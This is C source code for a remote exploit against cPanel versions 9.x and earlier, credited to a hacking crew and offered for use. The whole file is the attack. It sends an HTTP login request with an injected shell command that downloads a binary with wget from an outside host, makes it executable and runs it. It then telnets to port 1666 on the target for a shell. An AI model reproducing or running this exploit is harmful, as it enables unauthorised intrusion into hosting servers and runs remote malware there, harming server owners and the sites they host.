/* Remote Exploit for Cpanel <= 9.x, by PakBraiN from WHACKERZ cr3w */
/* op3ns a sh3ll on port 1666 */
/* Gr33tz to WHACKERZ CREW , MianWalian , Apocalypse , ch33ta , Saudia_Hacker , MelHacker , Fady911x , iced_rose , FBH , AIC */
/* any questions or suggestions mailto webmaster@whackers.zzn.com */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 2082

char hack[] = "GET /login/?user=|%22%60cd /opt;wget http://www.spweather.com/whackerz/r0nin;"
              "chmod 777 r0nin;./r0nin%60%22|\r";

int main(int argc, char *argv[]) {

char shell[BUFSIZ];
int sock;
struct sockaddr_in remote;

if(argc != 2) {
printf("\nCPanel <= 9.x Remote Exploit, by PakBraiN\n\n");
printf("Usage: %s <ip>\n\n", argv[0]);
return 0; }

if(argc == 2) {

printf("\nCPanel <= 9.x Remote Exploit, by PakBraiN\n");

remote.sin_family = AF_INET;
remote.sin_port = htons(PORT);
remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\nERROR: Socket()\n\n");
return -1; }

if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) {
printf("\nERROR: Connect()\n\n");
return -1; }

if(send(sock,&hack, sizeof(hack), 0) < 0) {
printf("\nERROR: Send()\n\n");
return -1; }

printf("\nExploit Sent! Closing socket and sleeping for 5 seconds...\n");

close(sock);
sleep(5);

printf("\nDone! Connecting to %s for shell...\n\n", argv[1]);

sprintf(shell, "telnet %s 1666", argv[1]);
system(shell);
printf("\n"); }

return 0; }
